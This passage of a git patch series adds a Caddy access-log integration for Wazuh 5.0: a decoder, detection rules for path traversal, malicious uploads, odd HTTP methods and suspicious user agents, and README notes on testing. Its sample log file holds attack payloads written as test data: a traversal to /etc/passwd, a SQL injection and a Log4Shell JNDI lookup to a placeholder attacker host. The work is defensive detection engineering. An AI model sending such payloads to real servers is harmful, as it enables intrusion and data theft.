+    http.request.method|re: '^(CONNECT|DEBUG|MOVE|COPY|PROPFIND|PROPPATCH|MKCOL|LOCK|UNLOCK|BREW|TEST|FUZZ|SEARCH|PURGE)$'
+  condition: selection
diff --git a/integrations/caddy/ruleset/rules/rule_996028_suspicious-user-agent.yml b/integrations/caddy/ruleset/rules/rule_996028_suspicious-user-agent.yml
new file mode 100644
index 0000000..6e84778
--- /dev/null
+++ b/integrations/caddy/ruleset/rules/rule_996028_suspicious-user-agent.yml
@@ -0,0 +1,24 @@
+id: '1c6f9a3e-2d8b-4a47-9c1e-6b3f8a2d5e94'
+logsource:
+  product: caddy
+tags:
+  - attack.defense-evasion
+  - attack.t1036
+falsepositives:
+  - Some legitimate automated clients send empty or minimal User-Agent headers
+level: medium
+status: experimental
+enabled: true
+metadata:
+  title: Caddy Suspicious User-Agent (Empty or Oversized)
+  author: Anmol Vats
+  description: Detects empty, placeholder, or abnormally long User-Agent headers often used to evade fingerprinting.
+  references:
+    - 'https://github.com/wazuh/wazuh/issues/37033'
+  documentation: ''
+  supports:
+    - '5.0'
+detection:
+  selection:
+    user_agent.original|re: '^(\[\]|''''|-)$|^.{500,}'
+  condition: selection
diff --git a/integrations/caddy/ruleset/rules/rule_996029_dangerous-file-upload.yml b/integrations/caddy/ruleset/rules/rule_996029_dangerous-file-upload.yml
new file mode 100644
index 0000000..f4891b5
--- /dev/null
+++ b/integrations/caddy/ruleset/rules/rule_996029_dangerous-file-upload.yml
@@ -0,0 +1,24 @@
+id: 'e9d2a4c1-6f8b-4e73-a1c6-3d9f2b8a4c05'
+logsource:
+  product: caddy
+tags:
+  - attack.initial-access
+  - attack.t1190
+falsepositives:
+  - Applications intentionally allowing executable/script uploads (rare, should be reviewed)
+level: critical
+status: experimental
+enabled: true
+metadata:
+  title: Caddy Dangerous File Upload Attempt
+  author: Anmol Vats
+  description: Detects upload requests targeting executable or server-side script file extensions.
+  references:
+    - 'https://github.com/wazuh/wazuh/issues/37033'
+  documentation: ''
+  supports:
+    - '5.0'
+detection:
+  selection:
+    url.original|re: '(?i)(\/upload|\/uploads|\/files|\/media|\/assets|\/static)[^?]*\.(php[0-9]?|phtml|phar|asp|aspx|jsp|jspx|cfm|cgi|pl|py|rb|sh|exe|dll|bat|cmd|vbs|ps1)'
+  condition: selection
diff --git a/integrations/caddy/ruleset/rules/rule_996030_oversized-uri.yml b/integrations/caddy/ruleset/rules/rule_996030_oversized-uri.yml
new file mode 100644
index 0000000..9c8b227
--- /dev/null
+++ b/integrations/caddy/ruleset/rules/rule_996030_oversized-uri.yml
@@ -0,0 +1,24 @@
+id: '4a1e8c2f-9d3b-4c56-8a2e-1f6c9a3b4d70'
+logsource:
+  product: caddy
+tags:
+  - attack.reconnaissance
+  - attack.t1595.002
+falsepositives:
+  - Applications with legitimately long query strings (e.g. base64-encoded state parameters)
+level: high
+status: experimental
+enabled: true
+metadata:
+  title: Caddy Oversized URI Detected
+  author: Anmol Vats
+  description: Detects abnormally long request URIs, often indicating fuzzing or buffer-overflow probing.
+  references:
+    - 'https://github.com/wazuh/wazuh/issues/37033'
+  documentation: ''
+  supports:
+    - '5.0'
+detection:
+  selection:
+    url.original|re: '^.{1000,}'
+  condition: selection
diff --git a/integrations/caddy/ruleset/rules/rule_996031_double-extension-bypass.yml b/integrations/caddy/ruleset/rules/rule_996031_double-extension-bypass.yml
new file mode 100644
index 0000000..28123f3
--- /dev/null
+++ b/integrations/caddy/ruleset/rules/rule_996031_double-extension-bypass.yml
@@ -0,0 +1,24 @@
+id: '8f3c1e9a-4d6b-4a72-9e3c-2a8f1d6b4c95'
+logsource:
+  product: caddy
+tags:
+  - attack.initial-access
+  - attack.t1190
+falsepositives:
+  - Rare, double extensions are almost always evasion attempts
+level: critical
+status: experimental
+enabled: true
+metadata:
+  title: Caddy Double Extension Bypass Upload Attempt
+  author: Anmol Vats
+  description: Detects upload attempts using double file extensions to bypass upload filters (e.g. shell.php.jpg).
+  references:
+    - 'https://github.com/wazuh/wazuh/issues/37033'
+  documentation: ''
+  supports:
+    - '5.0'
+detection:
+  selection:
+    url.original|re: '(?i)(\/upload|\/uploads|\/files|\/media|\/assets|\/static)[^?]*\.(php[0-9]?|phtml|phar|asp|aspx|jsp|jspx|cfm|cgi|pl|py|rb|sh|exe|dll|bat|cmd|vbs|ps1)\.[a-z]{2,4}(\?|$)'
+  condition: selection
diff --git a/integrations/caddy/ruleset/rules/rule_996032_archive-macro-upload.yml b/integrations/caddy/ruleset/rules/rule_996032_archive-macro-upload.yml
new file mode 100644
index 0000000..a90b261
--- /dev/null
+++ b/integrations/caddy/ruleset/rules/rule_996032_archive-macro-upload.yml
@@ -0,0 +1,24 @@
+id: '2e6a9c4f-1b8d-4d37-8f2a-6c1e9a3d4b50'
+logsource:
+  product: caddy
+tags:
+  - attack.initial-access
+  - attack.t1566.001
+falsepositives:
+  - Legitimate archive/document upload functionality
+level: high
+status: experimental
+enabled: true
+metadata:
+  title: Caddy Archive or Macro-Enabled File Upload
+  author: Anmol Vats
+  description: Detects upload of archive files or macro-enabled Office documents that could carry payloads.
+  references:
+    - 'https://github.com/wazuh/wazuh/issues/37033'
+  documentation: ''
+  supports:
+    - '5.0'
+detection:
+  selection:
+    url.original|re: '(?i)(\/upload|\/uploads|\/files|\/media|\/assets|\/static)[^?]*\.(zip|rar|7z|tar|gz|tgz|iso|img|docm|xlsm|pptm|xlam|svg)(\?|$)'
+  condition: selection
diff --git a/integrations/caddy/sample_logs.txt b/integrations/caddy/sample_logs.txt
new file mode 100644
index 0000000..0ac8276
--- /dev/null
+++ b/integrations/caddy/sample_logs.txt
@@ -0,0 +1,7 @@
+{"level":"info","ts":1699999999.123,"logger":"http.log.access","msg":"handled request","request":{"remote_ip":"203.0.113.10","proto":"HTTP/2.0","method":"GET","host":"example.com","uri":"/","headers":{"User-Agent":["Mozilla/5.0"]}},"duration":0.000123,"size":512,"status":200}
+
+{"level":"info","ts":1699999999.456,"logger":"http.log.access","msg":"handled request","request":{"remote_ip":"198.51.100.23","proto":"HTTP/1.1","method":"GET","host":"example.com","uri":"/../../../../etc/passwd","headers":{"User-Agent":["curl/7.68.0"]}},"duration":0.000456,"size":0,"status":404}
+
+{"level":"info","ts":1700000000.0,"logger":"http.log.access","msg":"handled request","request":{"remote_ip":"1.2.3.4","remote_port":"54321","proto":"HTTP/1.1","method":"GET","host":"example.com","uri":"/?id=1 UNION SELECT 1,2,3--","headers":{"User-Agent":["sqlmap/1.7"]}},"status":200,"size":0,"duration":0.001}
+
+{"level":"info","ts":1700000000.0,"logger":"http.log.access","msg":"handled request","request":{"remote_ip":"1.2.3.4","remote_port":"54321","proto":"HTTP/1.1","method":"GET","host":"example.com","uri":"/${jndi:ldap://attacker.com/x}","headers":{"User-Agent":["curl/7.68.0"]}},"status":400,"size":0,"duration":0.001}

From a9d0d02207a76287ee4482b216e0ee3ba11769d7 Mon Sep 17 00:00:00 2001
From: newklei <magmacicada@proton.me>
Date: Tue, 14 Jul 2026 01:14:04 -0400
Subject: [PATCH 2/5] Rename integration folder to
 caddy_integration_wazuh_v5.0beta, add missing path traversal rule file,
 tighten testing evidence in README

---
 .../README.md                                 |  4 ++--
 .../decoders/decoder_caddy-access_0.yml       |  0
 .../rules/rule_996003_path-traversal.yml      | 24 +++++++++++++++++++
 .../rules/rule_996004_sql-injection.yml       |  0
 .../rule_996005_sensitive-path-probe.yml      |  0
 .../ruleset/rules/rule_996008_xss.yml         |  0
 .../rules/rule_996009_command-injection.yml   |  0
 .../rules/rule_996010_known-scanner-tool.yml  |  0
 .../rules/rule_996011_trace-track-method.yml  |  0
 .../rules/rule_996012_log4shell-jndi.yml      |  0
 .../rule_996013_sensitive-file-access.yml     |  0
 ...rule_996014_credential-key-file-access.yml |  0
 .../rules/rule_996015_backup-db-dump.yml      |  0
 .../rule_996016_source-control-artifact.yml   |  0
 .../rules/rule_996017_app-log-file-access.yml |  0
 .../rules/rule_996020_suspicious-filename.yml |  0
 .../rule_996021_auth-endpoint-access.yml      |  0
 .../rules/rule_996023_encoding-evasion.yml    |  0
 .../ruleset/rules/rule_996024_lfi-rfi.yml     |  0
 .../ruleset/rules/rule_996025_ssrf.yml        |  0
 .../rule_996026_graphql-introspection.yml     |  0
 .../rules/rule_996027_unusual-http-method.yml |  0
 .../rule_996028_suspicious-user-agent.yml     |  0
 .../rule_996029_dangerous-file-upload.yml     |  0
 .../rules/rule_996030_oversized-uri.yml       |  0
 .../rule_996031_double-extension-bypass.yml   |  0
 .../rule_996032_archive-macro-upload.yml      |  0
 .../sample_logs.txt                           |  0
 28 files changed, 26 insertions(+), 2 deletions(-)
 rename integrations/{caddy => caddy_integration_wazuh_v5.0beta}/README.md (90%)
 rename integrations/{caddy => caddy_integration_wazuh_v5.0beta}/ruleset/decoders/decoder_caddy-access_0.yml (100%)
 create mode 100644 integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996003_path-traversal.yml
 rename integrations/{caddy => caddy_integration_wazuh_v5.0beta}/ruleset/rules/rule_996004_sql-injection.yml (100%)
 rename integrations/{caddy => caddy_integration_wazuh_v5.0beta}/ruleset/rules/rule_996005_sensitive-path-probe.yml (100%)
 rename integrations/{caddy => caddy_integration_wazuh_v5.0beta}/ruleset/rules/rule_996008_xss.yml (100%)
 rename integrations/{caddy => caddy_integration_wazuh_v5.0beta}/ruleset/rules/rule_996009_command-injection.yml (100%)
 rename integrations/{caddy => caddy_integration_wazuh_v5.0beta}/ruleset/rules/rule_996010_known-scanner-tool.yml (100%)
 rename integrations/{caddy => caddy_integration_wazuh_v5.0beta}/ruleset/rules/rule_996011_trace-track-method.yml (100%)
 rename integrations/{caddy => caddy_integration_wazuh_v5.0beta}/ruleset/rules/rule_996012_log4shell-jndi.yml (100%)
 rename integrations/{caddy => caddy_integration_wazuh_v5.0beta}/ruleset/rules/rule_996013_sensitive-file-access.yml (100%)
 rename integrations/{caddy => caddy_integration_wazuh_v5.0beta}/ruleset/rules/rule_996014_credential-key-file-access.yml (100%)
 rename integrations/{caddy => caddy_integration_wazuh_v5.0beta}/ruleset/rules/rule_996015_backup-db-dump.yml (100%)
 rename integrations/{caddy => caddy_integration_wazuh_v5.0beta}/ruleset/rules/rule_996016_source-control-artifact.yml (100%)
 rename integrations/{caddy => caddy_integration_wazuh_v5.0beta}/ruleset/rules/rule_996017_app-log-file-access.yml (100%)
 rename integrations/{caddy => caddy_integration_wazuh_v5.0beta}/ruleset/rules/rule_996020_suspicious-filename.yml (100%)
 rename integrations/{caddy => caddy_integration_wazuh_v5.0beta}/ruleset/rules/rule_996021_auth-endpoint-access.yml (100%)
 rename integrations/{caddy => caddy_integration_wazuh_v5.0beta}/ruleset/rules/rule_996023_encoding-evasion.yml (100%)
 rename integrations/{caddy => caddy_integration_wazuh_v5.0beta}/ruleset/rules/rule_996024_lfi-rfi.yml (100%)
 rename integrations/{caddy => caddy_integration_wazuh_v5.0beta}/ruleset/rules/rule_996025_ssrf.yml (100%)
 rename integrations/{caddy => caddy_integration_wazuh_v5.0beta}/ruleset/rules/rule_996026_graphql-introspection.yml (100%)
 rename integrations/{caddy => caddy_integration_wazuh_v5.0beta}/ruleset/rules/rule_996027_unusual-http-method.yml (100%)
 rename integrations/{caddy => caddy_integration_wazuh_v5.0beta}/ruleset/rules/rule_996028_suspicious-user-agent.yml (100%)
 rename integrations/{caddy => caddy_integration_wazuh_v5.0beta}/ruleset/rules/rule_996029_dangerous-file-upload.yml (100%)
 rename integrations/{caddy => caddy_integration_wazuh_v5.0beta}/ruleset/rules/rule_996030_oversized-uri.yml (100%)
 rename integrations/{caddy => caddy_integration_wazuh_v5.0beta}/ruleset/rules/rule_996031_double-extension-bypass.yml (100%)
 rename integrations/{caddy => caddy_integration_wazuh_v5.0beta}/ruleset/rules/rule_996032_archive-macro-upload.yml (100%)
 rename integrations/{caddy => caddy_integration_wazuh_v5.0beta}/sample_logs.txt (100%)

diff --git a/integrations/caddy/README.md b/integrations/caddy_integration_wazuh_v5.0beta/README.md
similarity index 90%
rename from integrations/caddy/README.md
rename to integrations/caddy_integration_wazuh_v5.0beta/README.md
index 86ca97c..0b5eccc 100644
--- a/integrations/caddy/README.md
+++ b/integrations/caddy_integration_wazuh_v5.0beta/README.md
@@ -86,9 +86,9 @@ A request like `GET /../../../../etc/passwd` gets caught by the path traversal r
 
 This was verified using the Wazuh 5.0 beta2 dashboard's Log test tool (Security Analytics, Log test). Custom content was authored in the Draft space and promoted to the Test space before running it against sample logs, since Draft content alone is not evaluated by Log test.
 
-Running the path traversal sample log through Log test produces a decoded event with all ECS fields populated correctly, and the Detection tab shows the corresponding rule matched, alongside the other rules evaluated against the same log.
+Running the path traversal sample log (`/../../../../etc/passwd`) through Log test produces a decoded event with all ECS fields populated correctly. The Detection tab reports 25 rules evaluated with 2 matches on that single log line, the path traversal rule (996003) and the suspicious filename rule (996020), both firing correctly against the same request.
 
-The remaining rules in `ruleset/rules/` were built the same way and follow the same pattern, each targets one field (mostly `url.original`, occasionally `user_agent.original` or `http.request.method`) with a regex modifier.
+The other 23 rules in `ruleset/rules/` were built the same way and follow the same pattern. 21 target `url.original`, 2 target `user_agent.original` (996010, 996028), and 2 target `http.request.method` (996011, 996027), each with a regex modifier.
 
 Three rules from the original Wazuh 4.x ruleset (repeated auth endpoint hits, repeated sensitive path probes, repeated path traversal attempts) rely on frequency and correlation logic across multiple events rather than a single log line, and are not included here as Sigma rules. That kind of correlation looks like it belongs in the dashboard's Detectors feature instead, which is still to be worked out and would follow in a later update.
 
diff --git a/integrations/caddy/ruleset/decoders/decoder_caddy-access_0.yml b/integrations/caddy_integration_wazuh_v5.0beta/ruleset/decoders/decoder_caddy-access_0.yml
similarity index 100%
rename from integrations/caddy/ruleset/decoders/decoder_caddy-access_0.yml
rename to integrations/caddy_integration_wazuh_v5.0beta/ruleset/decoders/decoder_caddy-access_0.yml
diff --git a/integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996003_path-traversal.yml b/integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996003_path-traversal.yml
new file mode 100644
index 0000000..a51c0a7
--- /dev/null
+++ b/integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996003_path-traversal.yml
@@ -0,0 +1,24 @@
+id: '78c290a5-bc22-4691-9661-81db77125f54'
+logsource:
+  product: caddy
+tags:
+  - attack.discovery
+  - attack.t1083
+falsepositives:
+  - Legitimate use of ../ in query parameters by specific applications
+level: high
+status: experimental
+enabled: true
+metadata:
+  title: Caddy Path Traversal Attempt
+  author: Anmol Vats
+  description: Detects path traversal attempts in Caddy access logs via ../ or its URL encoded variants in the request URI.
+  references:
+    - 'https://github.com/wazuh/wazuh/issues/37033'
+  documentation: ''
+  supports:
+    - '5.0'
+detection:
+  selection:
+    url.original|re: '(?i)(\.\./|\.\.\\|%2e%2e|%252e%252e)'
+  condition: selection
diff --git a/integrations/caddy/ruleset/rules/rule_996004_sql-injection.yml b/integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996004_sql-injection.yml
similarity index 100%
rename from integrations/caddy/ruleset/rules/rule_996004_sql-injection.yml
rename to integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996004_sql-injection.yml
diff --git a/integrations/caddy/ruleset/rules/rule_996005_sensitive-path-probe.yml b/integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996005_sensitive-path-probe.yml
similarity index 100%
rename from integrations/caddy/ruleset/rules/rule_996005_sensitive-path-probe.yml
rename to integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996005_sensitive-path-probe.yml
diff --git a/integrations/caddy/ruleset/rules/rule_996008_xss.yml b/integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996008_xss.yml
similarity index 100%
rename from integrations/caddy/ruleset/rules/rule_996008_xss.yml
rename to integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996008_xss.yml
diff --git a/integrations/caddy/ruleset/rules/rule_996009_command-injection.yml b/integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996009_command-injection.yml
similarity index 100%
rename from integrations/caddy/ruleset/rules/rule_996009_command-injection.yml
rename to integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996009_command-injection.yml
diff --git a/integrations/caddy/ruleset/rules/rule_996010_known-scanner-tool.yml b/integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996010_known-scanner-tool.yml
similarity index 100%
rename from integrations/caddy/ruleset/rules/rule_996010_known-scanner-tool.yml
rename to integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996010_known-scanner-tool.yml
diff --git a/integrations/caddy/ruleset/rules/rule_996011_trace-track-method.yml b/integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996011_trace-track-method.yml
similarity index 100%
rename from integrations/caddy/ruleset/rules/rule_996011_trace-track-method.yml
rename to integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996011_trace-track-method.yml
diff --git a/integrations/caddy/ruleset/rules/rule_996012_log4shell-jndi.yml b/integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996012_log4shell-jndi.yml
similarity index 100%
rename from integrations/caddy/ruleset/rules/rule_996012_log4shell-jndi.yml
rename to integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996012_log4shell-jndi.yml
diff --git a/integrations/caddy/ruleset/rules/rule_996013_sensitive-file-access.yml b/integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996013_sensitive-file-access.yml
similarity index 100%
rename from integrations/caddy/ruleset/rules/rule_996013_sensitive-file-access.yml
rename to integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996013_sensitive-file-access.yml
diff --git a/integrations/caddy/ruleset/rules/rule_996014_credential-key-file-access.yml b/integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996014_credential-key-file-access.yml
similarity index 100%
rename from integrations/caddy/ruleset/rules/rule_996014_credential-key-file-access.yml
rename to integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996014_credential-key-file-access.yml
diff --git a/integrations/caddy/ruleset/rules/rule_996015_backup-db-dump.yml b/integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996015_backup-db-dump.yml
similarity index 100%
rename from integrations/caddy/ruleset/rules/rule_996015_backup-db-dump.yml
rename to integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996015_backup-db-dump.yml
diff --git a/integrations/caddy/ruleset/rules/rule_996016_source-control-artifact.yml b/integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996016_source-control-artifact.yml
similarity index 100%
rename from integrations/caddy/ruleset/rules/rule_996016_source-control-artifact.yml
rename to integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996016_source-control-artifact.yml
diff --git a/integrations/caddy/ruleset/rules/rule_996017_app-log-file-access.yml b/integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996017_app-log-file-access.yml
similarity index 100%
rename from integrations/caddy/ruleset/rules/rule_996017_app-log-file-access.yml
rename to integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996017_app-log-file-access.yml
diff --git a/integrations/caddy/ruleset/rules/rule_996020_suspicious-filename.yml b/integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996020_suspicious-filename.yml
similarity index 100%
rename from integrations/caddy/ruleset/rules/rule_996020_suspicious-filename.yml
rename to integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996020_suspicious-filename.yml
diff --git a/integrations/caddy/ruleset/rules/rule_996021_auth-endpoint-access.yml b/integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996021_auth-endpoint-access.yml
similarity index 100%
rename from integrations/caddy/ruleset/rules/rule_996021_auth-endpoint-access.yml
rename to integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996021_auth-endpoint-access.yml
diff --git a/integrations/caddy/ruleset/rules/rule_996023_encoding-evasion.yml b/integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996023_encoding-evasion.yml
similarity index 100%
rename from integrations/caddy/ruleset/rules/rule_996023_encoding-evasion.yml
rename to integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996023_encoding-evasion.yml
diff --git a/integrations/caddy/ruleset/rules/rule_996024_lfi-rfi.yml b/integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996024_lfi-rfi.yml
similarity index 100%
rename from integrations/caddy/ruleset/rules/rule_996024_lfi-rfi.yml
rename to integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996024_lfi-rfi.yml
diff --git a/integrations/caddy/ruleset/rules/rule_996025_ssrf.yml b/integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996025_ssrf.yml
similarity index 100%
rename from integrations/caddy/ruleset/rules/rule_996025_ssrf.yml
rename to integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996025_ssrf.yml
diff --git a/integrations/caddy/ruleset/rules/rule_996026_graphql-introspection.yml b/integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996026_graphql-introspection.yml
similarity index 100%
rename from integrations/caddy/ruleset/rules/rule_996026_graphql-introspection.yml
rename to integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996026_graphql-introspection.yml
diff --git a/integrations/caddy/ruleset/rules/rule_996027_unusual-http-method.yml b/integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996027_unusual-http-method.yml
similarity index 100%
rename from integrations/caddy/ruleset/rules/rule_996027_unusual-http-method.yml
rename to integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996027_unusual-http-method.yml
diff --git a/integrations/caddy/ruleset/rules/rule_996028_suspicious-user-agent.yml b/integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996028_suspicious-user-agent.yml
similarity index 100%
rename from integrations/caddy/ruleset/rules/rule_996028_suspicious-user-agent.yml
rename to integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996028_suspicious-user-agent.yml
diff --git a/integrations/caddy/ruleset/rules/rule_996029_dangerous-file-upload.yml b/integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996029_dangerous-file-upload.yml
similarity index 100%
rename from integrations/caddy/ruleset/rules/rule_996029_dangerous-file-upload.yml
rename to integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996029_dangerous-file-upload.yml
diff --git a/integrations/caddy/ruleset/rules/rule_996030_oversized-uri.yml b/integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996030_oversized-uri.yml
similarity index 100%
rename from integrations/caddy/ruleset/rules/rule_996030_oversized-uri.yml
rename to integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996030_oversized-uri.yml
diff --git a/integrations/caddy/ruleset/rules/rule_996031_double-extension-bypass.yml b/integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996031_double-extension-bypass.yml
similarity index 100%
rename from integrations/caddy/ruleset/rules/rule_996031_double-extension-bypass.yml
rename to integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996031_double-extension-bypass.yml
diff --git a/integrations/caddy/ruleset/rules/rule_996032_archive-macro-upload.yml b/integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996032_archive-macro-upload.yml
similarity index 100%
rename from integrations/caddy/ruleset/rules/rule_996032_archive-macro-upload.yml
rename to integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996032_archive-macro-upload.yml
diff --git a/integrations/caddy/sample_logs.txt b/integrations/caddy_integration_wazuh_v5.0beta/sample_logs.txt
similarity index 100%
rename from integrations/caddy/sample_logs.txt
rename to integrations/caddy_integration_wazuh_v5.0beta/sample_logs.txt

From 8d8e28cfabb7c8d706361770e754bce9e35fded6 Mon Sep 17 00:00:00 2001
From: newklei <magmacicada@proton.me>
Date: Tue, 14 Jul 2026 01:33:59 -0400
Subject: [PATCH 3/5] Fix rule field-count precision in Integration Testing
 section

---
 integrations/caddy_integration_wazuh_v5.0beta/README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/integrations/caddy_integration_wazuh_v5.0beta/README.md b/integrations/caddy_integration_wazuh_v5.0beta/README.md
index 0b5eccc..202fd6e 100644
--- a/integrations/caddy_integration_wazuh_v5.0beta/README.md
+++ b/integrations/caddy_integration_wazuh_v5.0beta/README.md
@@ -88,7 +88,7 @@ This was verified using the Wazuh 5.0 beta2 dashboard's Log test tool (Security
 
 Running the path traversal sample log (`/../../../../etc/passwd`) through Log test produces a decoded event with all ECS fields populated correctly. The Detection tab reports 25 rules evaluated with 2 matches on that single log line, the path traversal rule (996003) and the suspicious filename rule (996020), both firing correctly against the same request.
 
-The other 23 rules in `ruleset/rules/` were built the same way and follow the same pattern. 21 target `url.original`, 2 target `user_agent.original` (996010, 996028), and 2 target `http.request.method` (996011, 996027), each with a regex modifier.
+The other 23 rules in `ruleset/rules/` were built the same way and follow the same pattern. 19 target `url.original`, 2 target `user_agent.original` (996010, 996028), and 2 target `http.request.method` (996011, 996027), each with a regex modifier. Across all 25 rules, 21 target `url.original` in total.
 
 Three rules from the original Wazuh 4.x ruleset (repeated auth endpoint hits, repeated sensitive path probes, repeated path traversal attempts) rely on frequency and correlation logic across multiple events rather than a single log line, and are not included here as Sigma rules. That kind of correlation looks like it belongs in the dashboard's Detectors feature instead, which is still to be worked out and would follow in a later update.
 

From b366c62b8f5e80b767463b823371ab79c1292458 Mon Sep 17 00:00:00 2001
From: newklei <105632119+NucleiAv@users.noreply.github.com>
Date: Tue, 14 Jul 2026 01:45:31 -0400
Subject: [PATCH 4/5] Update README with additional images

Added images and clarified ruleset evaluation details in README.

Signed-off-by: newklei <105632119+NucleiAv@users.noreply.github.com>
---
 integrations/caddy_integration_wazuh_v5.0beta/README.md | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/integrations/caddy_integration_wazuh_v5.0beta/README.md b/integrations/caddy_integration_wazuh_v5.0beta/README.md
index 202fd6e..cd45556 100644
--- a/integrations/caddy_integration_wazuh_v5.0beta/README.md
+++ b/integrations/caddy_integration_wazuh_v5.0beta/README.md
@@ -90,6 +90,9 @@ Running the path traversal sample log (`/../../../../etc/passwd`) through Log te
 
 The other 23 rules in `ruleset/rules/` were built the same way and follow the same pattern. 19 target `url.original`, 2 target `user_agent.original` (996010, 996028), and 2 target `http.request.method` (996011, 996027), each with a regex modifier. Across all 25 rules, 21 target `url.original` in total.
 
+<img width="1716" height="687" alt="image" src="https://github.com/user-attachments/assets/6d090837-a63e-4877-9330-a871d861e6dd" />
+<img width="1917" height="761" alt="image" src="https://github.com/user-attachments/assets/7a51a480-6e39-4b08-8115-ff1a33db66b0" />
+
 Three rules from the original Wazuh 4.x ruleset (repeated auth endpoint hits, repeated sensitive path probes, repeated path traversal attempts) rely on frequency and correlation logic across multiple events rather than a single log line, and are not included here as Sigma rules. That kind of correlation looks like it belongs in the dashboard's Detectors feature instead, which is still to be worked out and would follow in a later update.
 
 ---

From b3ab30f303c1fa3372b0b00f885394d94afca73f Mon Sep 17 00:00:00 2001
From: newklei <magmacicada@proton.me>
Date: Tue, 21 Jul 2026 04:29:47 -0400
Subject: [PATCH 5/5] Fix ECS field mapping issues from Copilot review: split
 network.protocol/http.version, remove unconverted event.duration, fix YAML
 quoting bug in suspicious User-Agent regex

---
 .../ruleset/decoders/decoder_caddy-access_0.yml               | 4 ++--
 .../ruleset/rules/rule_996028_suspicious-user-agent.yml       | 2 +-
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/integrations/caddy_integration_wazuh_v5.0beta/ruleset/decoders/decoder_caddy-access_0.yml b/integrations/caddy_integration_wazuh_v5.0beta/ruleset/decoders/decoder_caddy-access_0.yml
index 92ab106..e3c97f6 100644
--- a/integrations/caddy_integration_wazuh_v5.0beta/ruleset/decoders/decoder_caddy-access_0.yml
+++ b/integrations/caddy_integration_wazuh_v5.0beta/ruleset/decoders/decoder_caddy-access_0.yml
@@ -28,8 +28,8 @@ normalize:
       - destination.domain: $_tmp_json.request.host
       - http.response.status_code: $_tmp_json.status
       - http.response.body.bytes: $_tmp_json.size
-      - event.duration: $_tmp_json.duration
-      - network.protocol: $_tmp_json.request.proto
+      - network.protocol: http
+      - http.version: $_tmp_json.request.proto
       - user_agent.original: $_tmp_json.request.headers.User-Agent.0
   - check: int_less($http.response.status_code, 400)
     map:
diff --git a/integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996028_suspicious-user-agent.yml b/integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996028_suspicious-user-agent.yml
index 6e84778..b274046 100644
--- a/integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996028_suspicious-user-agent.yml
+++ b/integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996028_suspicious-user-agent.yml
@@ -20,5 +20,5 @@ metadata:
     - '5.0'
 detection:
   selection:
-    user_agent.original|re: '^(\[\]|''''|-)$|^.{500,}'
+    user_agent.original|re: '^(\[\]|-|\s*)$|^.{500,}'
   condition: selection